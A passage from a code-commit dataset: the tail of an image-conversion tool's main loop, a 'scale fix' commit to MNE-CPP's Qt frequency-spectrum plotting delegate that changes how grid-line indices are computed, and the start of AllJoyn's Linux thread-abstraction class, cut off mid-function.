std::endl;\n\t\t\tcontinue;\n\t\t}\n\t\n\t\t\/\/ Save file\n\t\tif (!save_image(*out_file, raw_image))\n\t\t{\n\t\t\tstd::cout << \"Error: Image \" << *out_file << \" could not be saved\" << std::endl;\n\t\t\tcontinue;\n\t\t}\n\t\tstd::cout << *in_file << \" -> \" << *out_file << std::endl;\n\n\t\t\/\/ Output stats on each file\n\t}\n\t\n\t\/\/ Cleanup and exit\n\tLLImage::cleanupClass();\n\t\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/=============================================================================================================\n\/**\n* @file frequencyspectrumdelegate.cpp\n* @author Christoph Dinh <chdinh@nmr.mgh.harvard.edu>;\n* Matti Hamalainen <msh@nmr.mgh.harvard.edu>\n* @version 1.0\n* @date May, 2014\n*\n* @section LICENSE\n*\n* Copyright (C) 2014, Christoph Dinh and Matti Hamalainen. All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without modification, are permitted provided that\n* the following conditions are met:\n* * Redistributions of source code must retain the above copyright notice, this list of conditions and the\n* following disclaimer.\n* * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and\n* the following disclaimer in the documentation and\/or other materials provided with the distribution.\n* * Neither the name of MNE-CPP authors nor the names of its contributors may be used\n* to endorse or promote products derived from this software without specific prior written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED\n* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n* POSSIBILITY OF SUCH DAMAGE.\n*\n*\n* @brief Implementation of the FrequencySpectrumDelegate Class.\n*\n*\/\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ INCLUDES\n\/\/=============================================================================================================\n\n#include \"frequencyspectrumdelegate.h\"\n\n#include \"frequencyspectrummodel.h\"\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ QT INCLUDES\n\/\/=============================================================================================================\n\n#include <QPainter>\n#include <QPainterPath>\n#include <QDebug>\n#include <QThread>\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ USED NAMESPACES\n\/\/=============================================================================================================\n\nusing namespace XDISPLIB;\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ DEFINE MEMBER METHODS\n\/\/=============================================================================================================\n\nFrequencySpectrumDelegate::FrequencySpectrumDelegate(QObject *parent)\n: QAbstractItemDelegate(parent)\n{\n\n}\n\n\n\/\/*************************************************************************************************************\n\nvoid FrequencySpectrumDelegate::paint(QPainter *painter, const QStyleOptionViewItem &option, const QModelIndex &index) const\n{\n float t_fPlotHeight = option.rect.height();\n switch(index.column()) {\n case 0: { \/\/chnames\n painter->save();\n\n painter->rotate(-90);\n painter->drawText(QRectF(-option.rect.y()-t_fPlotHeight,0,t_fPlotHeight,20),Qt::AlignCenter,index.model()->data(index,Qt::DisplayRole).toString());\n\n painter->restore();\n break;\n }\n case 1: { \/\/data plot\n painter->save();\n\n \/\/draw special background when channel is marked as bad\n\/\/ QVariant v = index.model()->data(index,Qt::BackgroundRole);\n\/\/ if(v.canConvert<QBrush>() && !(option.state & QStyle::State_Selected)) {\n\/\/ QPointF oldBO = painter->brushOrigin();\n\/\/ painter->setBrushOrigin(option.rect.topLeft());\n\/\/ painter->fillRect(option.rect, qvariant_cast<QBrush>(v));\n\/\/ painter->setBrushOrigin(oldBO);\n\/\/ }\n\n\/\/ \/\/Highlight selected channels\n\/\/ if(option.state & QStyle::State_Selected) {\n\/\/ QPointF oldBO = painter->brushOrigin();\n\/\/ painter->setBrushOrigin(option.rect.topLeft());\n\/\/ painter->fillRect(option.rect, option.palette.highlight());\n\/\/ painter->setBrushOrigin(oldBO);\n\/\/ }\n\n \/\/Get data\n QVariant variant = index.model()->data(index,Qt::DisplayRole);\n RowVectorXd data = variant.value< RowVectorXd >();\n\n\n const FrequencySpectrumModel* t_pModel = static_cast<const FrequencySpectrumModel*>(index.model());\n\n if(data.size() > 0)\n {\n QPainterPath path(QPointF(option.rect.x(),option.rect.y()));\/\/QPointF(option.rect.x()+t_rtmsaModel->relFiffCursor()-1,option.rect.y()));\n\n \/\/Plot grid\n painter->setRenderHint(QPainter::Antialiasing, false);\n createGridPath(index, option, path, data);\n createGridTick(index, option, painter);\n\n painter->save();\n QPen pen;\n pen.setStyle(Qt::DotLine);\n pen.setWidthF(0.5);\n painter->setPen(pen);\n painter->drawPath(path);\n painter->restore();\n\n \/\/Plot data path\n path = QPainterPath(QPointF(option.rect.x(),option.rect.y()));\/\/QPointF(option.rect.x()+t_rtmsaModel->relFiffCursor(),option.rect.y()));\n\n createPlotPath(index, option, path, data);\n\n painter->save();\n painter->translate(0,t_fPlotHeight\/2);\n painter->setRenderHint(QPainter::Antialiasing, true);\n\n if(option.state & QStyle::State_Selected)\n painter->setPen(QPen(t_pModel->isFreezed() ? Qt::darkRed : Qt::red, 1, Qt::SolidLine));\n else\n painter->setPen(QPen(t_pModel->isFreezed() ? Qt::darkGray : Qt::darkBlue, 1, Qt::SolidLine));\n\n painter->drawPath(path);\n painter->restore();\n }\n painter->restore();\n break;\n }\n }\n\n}\n\n\n\/\/*************************************************************************************************************\n\nQSize FrequencySpectrumDelegate::sizeHint(const QStyleOptionViewItem &option, const QModelIndex &index) const\n{\n QSize size;\n\n switch(index.column()) {\n case 0:\n size = QSize(20,option.rect.height());\n break;\n case 1:\n RowVectorXd data = index.model()->data(index).value< RowVectorXd >();\n\/\/ qint32 nsamples = (static_cast<const FrequencySpectrumModel*>(index.model()))->lastSample()-(static_cast<const FrequencySpectrumModel*>(index.model()))->firstSample();\n\n\/\/ size = QSize(nsamples*m_dDx,m_dPlotHeight);\n Q_UNUSED(option);\n break;\n }\n\n\n return size;\n}\n\n\n\/\/*************************************************************************************************************\n\nvoid FrequencySpectrumDelegate::createPlotPath(const QModelIndex &index, const QStyleOptionViewItem &option, QPainterPath& path, RowVectorXd& data) const\n{\n const FrequencySpectrumModel* t_pModel = static_cast<const FrequencySpectrumModel*>(index.model());\n\n float fMaxValue = data.maxCoeff();\n\n float fValue;\n float fScaleY = option.rect.height()\/(fMaxValue*0.5);\n\n float y_base = path.currentPosition().y();\n QPointF qSamplePosition;\n\n \/\/Move to initial starting point\n if(data.size() > 0)\n {\n float val = 0;\n fValue = val*fScaleY;\n\n float newY = y_base+fValue;\n\n qSamplePosition.setY(newY);\n qSamplePosition.setX((double)option.rect.width()*t_pModel->getFreqScale()[0]);\n\n path.moveTo(qSamplePosition);\n }\n\n\n \/\/create lines from one to the next sample\n qint32 i;\n for(i = 1; i < data.size(); ++i) {\n float val = data[i]-data[0]; \/\/remove first sample data[0] as offset\n fValue = val*fScaleY;\n\n float newY = y_base+fValue;\n\n qSamplePosition.setY(newY);\n qSamplePosition.setX((double)option.rect.width()*t_pModel->getFreqScale()[i]);\n\n path.lineTo(qSamplePosition);\n }\n}\n\n\n\/\/*************************************************************************************************************\n\nvoid FrequencySpectrumDelegate::createGridPath(const QModelIndex &index, const QStyleOptionViewItem &option, QPainterPath& path, RowVectorXd& data) const\n{\n Q_UNUSED(data)\n\n const FrequencySpectrumModel* t_pModel = static_cast<const FrequencySpectrumModel*>(index.model());\n\n if(t_pModel->getInfo())\n {\n double fs = t_pModel->getInfo()->sfreq\/2;\n\n qint32 numLines = (qint32)ceil(log10(fs));\n\n QList<qint32> qListLineSamples;\n\n for(qint32 lineIdx = 0; lineIdx < numLines; ++lineIdx)\n {\n double val = pow(10,lineIdx);\n qint32 idx = (qint32)floor((val\/fs) * t_pModel->getNumStems());\n qListLineSamples.append(idx);\n }\n\n \/\/vertical lines\n float yStart = option.rect.topLeft().y();\n\n float yEnd = option.rect.bottomRight().y();\n\n for(qint32 i = 0; i < qListLineSamples.size(); ++i) {\n float x = (t_pModel->getFreqScale()[qListLineSamples[i]])*option.rect.width();\n path.moveTo(x,yStart);\n path.lineTo(x,yEnd);\n }\n\n \/*\n \/\/horizontal lines\n float xStart = option.rect.topLeft().x();\n\n float xEnd = option.rect.bottomRight().x();\n\n for(qint32 i = 0; i < 6; ++i) {\n float y = option.rect.height()\/5.0 * (float)i;\n path.moveTo(xStart,y);\n path.lineTo(xEnd,y);\n }\n *\/\n\n }\n}\n\n\/\/*************************************************************************************************************\n\nvoid FrequencySpectrumDelegate::createGridTick(const QModelIndex &index, const QStyleOptionViewItem &option, QPainter *painter) const\n{\n const FrequencySpectrumModel* t_pModel = static_cast<const FrequencySpectrumModel*>(index.model());\n\n if(t_pModel->getInfo())\n {\n double fs = t_pModel->getInfo()->sfreq\/2;\n\n qint32 numLines = (qint32)ceil(log10(fs));\n\n QList<qint32> qListLineSamples;\n\n\n for(qint32 lineIdx = 0; lineIdx < numLines; ++lineIdx)\n {\n double val = pow(10,lineIdx);\n qint32 idx = (qint32)floor((val\/fs) * t_pModel->getNumStems());\n qListLineSamples.append(idx);\n }\n\n \/\/ XTick\n float yStart = 1.0*option.rect.topLeft().y();\n\n double val = 0.0;\n float x = (t_pModel->getFreqScale()[qListLineSamples[0]])*option.rect.width();\n painter->drawText(x,yStart,QString(\"%1Hz\").arg(val));\n\n for(qint32 i = 1; i < qListLineSamples.size(); ++i) {\n double val = pow(10,i-1);\n float x = (t_pModel->getFreqScale()[qListLineSamples[i]])*option.rect.width();\n painter->drawText(x,yStart,QString(\"%1Hz\").arg(val));\n }\n\n \/\/ YTick\n\n\n }\n}\n\n<commit_msg>scale fix<commit_after>\/\/=============================================================================================================\n\/**\n* @file frequencyspectrumdelegate.cpp\n* @author Christoph Dinh <chdinh@nmr.mgh.harvard.edu>;\n* Matti Hamalainen <msh@nmr.mgh.harvard.edu>\n* @version 1.0\n* @date May, 2014\n*\n* @section LICENSE\n*\n* Copyright (C) 2014, Christoph Dinh and Matti Hamalainen. All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without modification, are permitted provided that\n* the following conditions are met:\n* * Redistributions of source code must retain the above copyright notice, this list of conditions and the\n* following disclaimer.\n* * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and\n* the following disclaimer in the documentation and\/or other materials provided with the distribution.\n* * Neither the name of MNE-CPP authors nor the names of its contributors may be used\n* to endorse or promote products derived from this software without specific prior written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED\n* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n* POSSIBILITY OF SUCH DAMAGE.\n*\n*\n* @brief Implementation of the FrequencySpectrumDelegate Class.\n*\n*\/\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ INCLUDES\n\/\/=============================================================================================================\n\n#include \"frequencyspectrumdelegate.h\"\n\n#include \"frequencyspectrummodel.h\"\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ QT INCLUDES\n\/\/=============================================================================================================\n\n#include <QPainter>\n#include <QPainterPath>\n#include <QDebug>\n#include <QThread>\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ USED NAMESPACES\n\/\/=============================================================================================================\n\nusing namespace XDISPLIB;\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ DEFINE MEMBER METHODS\n\/\/=============================================================================================================\n\nFrequencySpectrumDelegate::FrequencySpectrumDelegate(QObject *parent)\n: QAbstractItemDelegate(parent)\n{\n\n}\n\n\n\/\/*************************************************************************************************************\n\nvoid FrequencySpectrumDelegate::paint(QPainter *painter, const QStyleOptionViewItem &option, const QModelIndex &index) const\n{\n float t_fPlotHeight = option.rect.height();\n switch(index.column()) {\n case 0: { \/\/chnames\n painter->save();\n\n painter->rotate(-90);\n painter->drawText(QRectF(-option.rect.y()-t_fPlotHeight,0,t_fPlotHeight,20),Qt::AlignCenter,index.model()->data(index,Qt::DisplayRole).toString());\n\n painter->restore();\n break;\n }\n case 1: { \/\/data plot\n painter->save();\n\n \/\/draw special background when channel is marked as bad\n\/\/ QVariant v = index.model()->data(index,Qt::BackgroundRole);\n\/\/ if(v.canConvert<QBrush>() && !(option.state & QStyle::State_Selected)) {\n\/\/ QPointF oldBO = painter->brushOrigin();\n\/\/ painter->setBrushOrigin(option.rect.topLeft());\n\/\/ painter->fillRect(option.rect, qvariant_cast<QBrush>(v));\n\/\/ painter->setBrushOrigin(oldBO);\n\/\/ }\n\n\/\/ \/\/Highlight selected channels\n\/\/ if(option.state & QStyle::State_Selected) {\n\/\/ QPointF oldBO = painter->brushOrigin();\n\/\/ painter->setBrushOrigin(option.rect.topLeft());\n\/\/ painter->fillRect(option.rect, option.palette.highlight());\n\/\/ painter->setBrushOrigin(oldBO);\n\/\/ }\n\n \/\/Get data\n QVariant variant = index.model()->data(index,Qt::DisplayRole);\n RowVectorXd data = variant.value< RowVectorXd >();\n\n\n const FrequencySpectrumModel* t_pModel = static_cast<const FrequencySpectrumModel*>(index.model());\n\n if(data.size() > 0)\n {\n QPainterPath path(QPointF(option.rect.x(),option.rect.y()));\/\/QPointF(option.rect.x()+t_rtmsaModel->relFiffCursor()-1,option.rect.y()));\n\n \/\/Plot grid\n painter->setRenderHint(QPainter::Antialiasing, false);\n createGridPath(index, option, path, data);\n createGridTick(index, option, painter);\n\n painter->save();\n QPen pen;\n pen.setStyle(Qt::DotLine);\n pen.setWidthF(0.5);\n painter->setPen(pen);\n painter->drawPath(path);\n painter->restore();\n\n \/\/Plot data path\n path = QPainterPath(QPointF(option.rect.x(),option.rect.y()));\/\/QPointF(option.rect.x()+t_rtmsaModel->relFiffCursor(),option.rect.y()));\n\n createPlotPath(index, option, path, data);\n\n painter->save();\n painter->translate(0,t_fPlotHeight\/2);\n painter->setRenderHint(QPainter::Antialiasing, true);\n\n if(option.state & QStyle::State_Selected)\n painter->setPen(QPen(t_pModel->isFreezed() ? Qt::darkRed : Qt::red, 1, Qt::SolidLine));\n else\n painter->setPen(QPen(t_pModel->isFreezed() ? Qt::darkGray : Qt::darkBlue, 1, Qt::SolidLine));\n\n painter->drawPath(path);\n painter->restore();\n }\n painter->restore();\n break;\n }\n }\n\n}\n\n\n\/\/*************************************************************************************************************\n\nQSize FrequencySpectrumDelegate::sizeHint(const QStyleOptionViewItem &option, const QModelIndex &index) const\n{\n QSize size;\n\n switch(index.column()) {\n case 0:\n size = QSize(20,option.rect.height());\n break;\n case 1:\n RowVectorXd data = index.model()->data(index).value< RowVectorXd >();\n\/\/ qint32 nsamples = (static_cast<const FrequencySpectrumModel*>(index.model()))->lastSample()-(static_cast<const FrequencySpectrumModel*>(index.model()))->firstSample();\n\n\/\/ size = QSize(nsamples*m_dDx,m_dPlotHeight);\n Q_UNUSED(option);\n break;\n }\n\n\n return size;\n}\n\n\n\/\/*************************************************************************************************************\n\nvoid FrequencySpectrumDelegate::createPlotPath(const QModelIndex &index, const QStyleOptionViewItem &option, QPainterPath& path, RowVectorXd& data) const\n{\n const FrequencySpectrumModel* t_pModel = static_cast<const FrequencySpectrumModel*>(index.model());\n\n float fMaxValue = data.maxCoeff();\n\n float fValue;\n float fScaleY = option.rect.height()\/(fMaxValue*0.5);\n\n float y_base = path.currentPosition().y();\n QPointF qSamplePosition;\n\n \/\/Move to initial starting point\n if(data.size() > 0)\n {\n float val = 0;\n fValue = val*fScaleY;\n\n float newY = y_base+fValue;\n\n qSamplePosition.setY(newY);\n qSamplePosition.setX((double)option.rect.width()*t_pModel->getFreqScale()[0]);\n\n path.moveTo(qSamplePosition);\n }\n\n\n \/\/create lines from one to the next sample\n qint32 i;\n for(i = 1; i < data.size(); ++i) {\n float val = data[i]-data[0]; \/\/remove first sample data[0] as offset\n fValue = val*fScaleY;\n\n float newY = y_base+fValue;\n\n qSamplePosition.setY(newY);\n qSamplePosition.setX((double)option.rect.width()*t_pModel->getFreqScale()[i]);\n\n path.lineTo(qSamplePosition);\n }\n}\n\n\n\/\/*************************************************************************************************************\n\nvoid FrequencySpectrumDelegate::createGridPath(const QModelIndex &index, const QStyleOptionViewItem &option, QPainterPath& path, RowVectorXd& data) const\n{\n Q_UNUSED(data)\n\n const FrequencySpectrumModel* t_pModel = static_cast<const FrequencySpectrumModel*>(index.model());\n\n if(t_pModel->getInfo())\n {\n double fs = t_pModel->getInfo()->sfreq\/2;\n\n qint32 numLines = (qint32)ceil(log10(fs));\n\n QList<qint32> qListLineSamples;\n\n qListLineSamples << 0;\n\n for(qint32 lineIdx = 0; lineIdx < numLines; ++lineIdx)\n {\n double val = pow(10,lineIdx);\n qint32 idx = (qint32)floor(val \/ ((float)fs\/(float)t_pModel->getNumStems()));\n qListLineSamples.append(idx);\n }\n\n \/\/vertical lines\n float yStart = option.rect.topLeft().y();\n\n float yEnd = option.rect.bottomRight().y();\n\n for(qint32 i = 0; i < qListLineSamples.size(); ++i) {\n float x = (t_pModel->getFreqScale()[qListLineSamples[i]])*option.rect.width();\n path.moveTo(x,yStart);\n path.lineTo(x,yEnd);\n }\n\n \/*\n \/\/horizontal lines\n float xStart = option.rect.topLeft().x();\n\n float xEnd = option.rect.bottomRight().x();\n\n for(qint32 i = 0; i < 6; ++i) {\n float y = option.rect.height()\/5.0 * (float)i;\n path.moveTo(xStart,y);\n path.lineTo(xEnd,y);\n }\n *\/\n\n }\n}\n\n\/\/*************************************************************************************************************\n\nvoid FrequencySpectrumDelegate::createGridTick(const QModelIndex &index, const QStyleOptionViewItem &option, QPainter *painter) const\n{\n const FrequencySpectrumModel* t_pModel = static_cast<const FrequencySpectrumModel*>(index.model());\n\n if(t_pModel->getInfo())\n {\n double fs = t_pModel->getInfo()->sfreq\/2;\n\n qint32 numLines = (qint32)ceil(log10(fs));\n\n QList<qint32> qListLineSamples;\n\n qListLineSamples << 0;\n\n for(qint32 lineIdx = 0; lineIdx < numLines; ++lineIdx)\n {\n double val = pow(10,lineIdx);\n qint32 idx = (qint32)floor(val \/ ((float)fs\/(float)t_pModel->getNumStems()));\n qListLineSamples.append(idx);\n }\n\n \/\/ XTick\n float yStart = 1.0*option.rect.topLeft().y();\n\n double val = 0.0;\n float x = (t_pModel->getFreqScale()[qListLineSamples[0]])*option.rect.width();\n painter->drawText(x,yStart,QString(\"%1Hz\").arg(val));\n\n for(qint32 i = 1; i < qListLineSamples.size(); ++i) {\n double val = pow(10,i-1);\n float x = (t_pModel->getFreqScale()[qListLineSamples[i]])*option.rect.width();\n painter->drawText(x,yStart,QString(\"%1Hz\").arg(val));\n }\n\n \/\/ YTick\n\n\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/**\n * @file\n *\n * Define a class that abstracts Linux threads.\n *\/\n\n\/******************************************************************************\n * Copyright (c) 2009-2013, AllSeen Alliance. All rights reserved.\n *\n * Permission to use, copy, modify, and\/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n ******************************************************************************\/\n#include <qcc\/platform.h>\n\n#include <algorithm>\n#include <assert.h>\n#include <errno.h>\n#include <pthread.h>\n#include <signal.h>\n#include <string.h>\n#include <time.h>\n#include <unistd.h>\n#include <map>\n\n#include <qcc\/Debug.h>\n#include <qcc\/String.h>\n#include <qcc\/Mutex.h>\n#include <qcc\/Thread.h>\n\n#include <Status.h>\n\nusing namespace std;\n\n\/** @internal *\/\n#define QCC_MODULE \"THREAD\"\n\nnamespace qcc {\n\n\nstatic uint32_t started = 0;\nstatic uint32_t running = 0;\nstatic uint32_t joined = 0;\n\n\/** Global thread list *\/\nMutex* Thread::threadListLock = NULL;\nmap<ThreadHandle, Thread*>* Thread::threadList = NULL;\n\nstatic int threadListCounter = 0;\n\nThreadListInitializer::ThreadListInitializer()\n{\n if (0 == threadListCounter++) {\n Thread::threadListLock = new Mutex();\n Thread::threadList = new map<ThreadHandle, Thread*>();\n }\n}\n\nThreadListInitializer::~ThreadListInitializer()\n{\n if (0 == --threadListCounter) {\n delete Thread::threadList;\n delete Thread::threadListLock;\n }\n}\n\nQStatus Sleep(uint32_t ms) {\n usleep(1000 * ms);\n return ER_OK;\n}\n\nThread* Thread::GetThread()\n{\n Thread* ret = NULL;\n\n \/* Find thread on Thread::threadList *\/\n threadListLock->Lock();\n map<ThreadHandle, Thread*>::const_iterator iter = threadList->find(pthread_self());\n if (iter != threadList->end()) {\n ret = iter->second;\n }\n threadListLock->Unlock();\n\n \/* If the current thread isn't on the list, then create an external (wrapper) thread *\/\n if (NULL == ret) {\n ret = new Thread(\"external\", NULL, true);\n }\n\n return ret;\n}\n\nconst char* Thread::GetThreadName()\n{\n Thread* thread = NULL;\n\n \/* Find thread on Thread::threadList *\/\n threadListLock->Lock();\n map<ThreadHandle, Thread*>::const_iterator iter = threadList->find(pthread_self());\n if (iter != threadList->end()) {\n thread = iter->second;\n }\n threadListLock->Unlock();\n\n \/* If the current thread isn't on the list, then don't create an external (wrapper) thread *\/\n if (thread == NULL) {\n return \"external\";\n }\n\n return thread->GetName();\n}\n\nvoid Thread::CleanExternalThreads()\n{\n threadListLock->Lock();\n map<ThreadHandle, Thread*>::iterator it = threadList->begin();\n while (it != threadList->end()) {\n if (it->second->isExternal) {\n delete it->second;\n threadList->erase(it++);\n } else {\n ++it;\n }\n }\n threadListLock->Unlock();\n}\n\nThread::Thread(qcc::String name, Thread::ThreadFunction func, bool isExternal) :\n stopEvent(),\n state(isExternal ? RUNNING : INITIAL),\n isStopping(false),\n function(isExternal ? NULL : func),\n handle(isExternal ? pthread_self() : 0),\n exitValue(NULL),\n listener(NULL),\n isExternal(isExternal),\n platformContext(NULL),\n alertCode(0),\n auxListeners(),\n auxListenersLock(),\n waitCount(0),\n waitLock(),\n hasBeenJoined(false)\n{\n \/* qcc::String is not thread safe. Don't use it here. *\/\n funcName[0] = '\\0';\n strncpy(funcName, name.c_str(), sizeof(funcName));\n funcName[sizeof(funcName) - 1] = '\\0';\n\n \/* If this is an external thread, add it to the thread list here since Run will not be called *\/\n if (isExternal) {\n assert(func == NULL);\n threadListLock->Lock();\n (*threadList)[handle] = this;\n threadListLock->Unlock();\n }\n QCC_DbgHLPrintf((\"Thread::Thread() created %s - %x -- started:%d running:%d joined:%d\", funcName, handle, started, running, joined));\n}\n\n\nThread::~Thread(void)\n{\n QCC_DbgHLPrintf((\"Thread::~Thread() destroying %s - %x\", funcName, handle));\n\n if (!isExternal) {\n Stop();\n Join();\n }\n\n \/* Keep object alive until waitCount goes to zero *\/\n while (waitCount) {\n qcc::Sleep(2);\n }\n\n QCC_DbgHLPrintf((\"Thread::~Thread() destroyed %s - %x -- started:%d running:%d joined:%d\", funcName, handle, started, running, joined));\n}\n\n\nThreadInternalReturn Thread::RunInternal(void* threadArg)\n{\n Thread* thread(reinterpret_cast<Thread*>(threadArg));\n sigset_t newmask;\n\n sigemptyset(&newmask);\n sigaddset(&newmask, SIGUSR1);\n\n assert(thread != NULL);\n\n if (thread->state != STARTED) {\n return NULL;\n }\n\n \/* Plug race condition between Start and Run. (pthread_create may not write handle before run is called) *\/\n thread->handle = pthread_self();\n\n ++started;\n\n QCC_DbgPrintf((\"Thread::RunInternal: %s (pid=%x)\", thread->funcName, (unsigned long) thread->handle));\n\n \/* Add this Thread to list of running threads *\/\n threadListLock->Lock();\n (*threadList)[thread->handle] = thread;\n thread->state = RUNNING;\n pthread_sigmask(SIG_UNBLOCK, &newmask, NULL);\n threadListLock->Unlock();\n\n \/* Start the thread if it hasn't been stopped *\/\n if (!thread->isStopping) {\n QCC_DbgPrintf((\"Starting thread: %s\", thread->funcName));\n ++running;\n thread->exitValue = thread->Run(thread->arg);\n --running;\n QCC_DbgPrintf((\"Thread function exited: %s --> %p\", thread->funcName, thread->exitValue));\n }\n\n thread->state = STOPPING;\n thread->stopEvent.ResetEvent();\n\n \/*\n * Call thread exit callback if specified. Note that ThreadExit may dellocate the thread so the\n * members of thread may not be accessed after this call\n *\/\n void* retVal = thread->exitValue;\n ThreadHandle handle = thread->handle;\n\n\n \/* Call aux listeners before main listener since main listner may delete the thread *\/\n thread->auxListenersLock.Lock();\n ThreadListeners::iterator it = thread->auxListeners.begin();\n while (it != thread->auxListeners.end()) {\n ThreadListener* listener = *it;\n listener->ThreadExit(thread);\n it = thread->auxListeners.upper_bound(listener);\n }\n thread->auxListenersLock.Unlock();\n\n if (thread->listener) {\n thread->listener->ThreadExit(thread);\n }\n\n \/* This also means no QCC_DbgPrintf as they try to get context on the current thread *\/\n\n \/* Remove this Thread from list of running threads *\/\n threadListLock->Lock();\n threadList->erase(handle);\n threadListLock->Unlock();\n\n return reinterpret_cast<ThreadInternalReturn>(retVal);\n}\n\nstatic const uint32_t stacksize = 256 * 1024;\n\nQStatus Thread::Start(void* arg, ThreadListener* listener)\n{\n QStatus status = ER_OK;\n\n \/* Check that thread can be started *\/\n if (isExternal) {\n status = ER_EXTERNAL_THREAD;\n } else if (isStopping) {\n status = ER_THREAD_STOPPING;\n } else if (IsRunning()) {\n status = ER_THREAD_RUNNING;\n }\n\n if (status != ER_OK) {\n QCC_LogError(status, (\"Thread::Start [%s]\", funcName));\n } else {\n int ret;\n\n \/* Clear\/initialize the join context *\/\n hasBeenJoined = false;\n waitCount = 0;\n\n \/* Reset the stop event so the thread doesn't start out alerted. *\/\n stopEvent.ResetEvent();\n \/* Create OS thread *\/\n this->arg = arg;\n this->listener = listener;\n\n state = STARTED;\n pthread_attr_t attr;\n ret = pthread_attr_init(&attr);\n if (ret != 0) {\n status = ER_OS_ERROR;\n QCC_LogError(status, (\"Initializing thread attr: %s\", strerror(ret)));\n }\n ret = pthread_attr_setstacksize(&attr, stacksize);\n if (ret != 0) {\n status = ER_OS_ERROR;\n QCC_LogError(status, (\"Setting stack size: %s\", strerror(ret)));\n }\n ret = pthread_create(&handle, &attr, RunInternal, this);\n QCC_DbgTrace((\"Thread::Start() [%s] pid = %x\", funcName, handle));\n if (ret != 0) {\n state = DEAD;\n isStopping = false;\n status = ER_OS_ERROR;\n QCC_LogError(status, (\"Creating thread %s: %s\", funcName, strerror(ret)));\n }\n }\n return status;\n}\n\nQStatus Thread::Stop(void)\n{\n \/* Cannot stop external threads *\/\n if (isExternal) {\n QCC_LogError(ER_EXTERNAL_THREAD, (\"Cannot stop an external thread\"));\n return ER_EXTERNAL_THREAD;\n } else if ((state == DEAD) || (state == INITIAL)) {\n QCC_DbgPrintf((\"Thread::Stop() thread is dead [%s]\", funcName));\n return ER_OK;\n } else {\n QCC_DbgTrace((\"Thread::Stop() %x [%s]\", handle, funcName));\n isStopping = true;\n return stopEvent.SetEvent();\n }\n}\n\nQStatus Thread::Alert()\n{\n if (state == DEAD) {\n return ER_DEAD_THREAD;\n }\n QCC_DbgTrace((\"Thread::Alert() [%s:%srunning]\", funcName, IsRunning() ? \" \" : \" not \"));\n return stopEvent.SetEvent();\n}\n\nQStatus Thread::Alert(uint32_t alertCode)\n{\n this->alertCode = alertCode;\n if (state == DEAD) {\n return ER_DEAD_THREAD;\n }\n QCC_DbgTrace((\"Thread::Alert(%u) [%s:%srunning]\", alertCode, funcName, IsRunning() ? \" \" : \" not \"));\n return stopEvent.SetEvent();\n}\n\nvoid Thread::AddAuxListener(ThreadListener* listener)\n{\n auxListenersLock.Lock();\n auxListeners.insert(listener);\n auxListenersLock.Unlock();\n}\n\nvoid Thread::RemoveAuxListener(ThreadListener* listener)\n{\n auxListenersLock.Lock();\n ThreadListeners::iterator it = 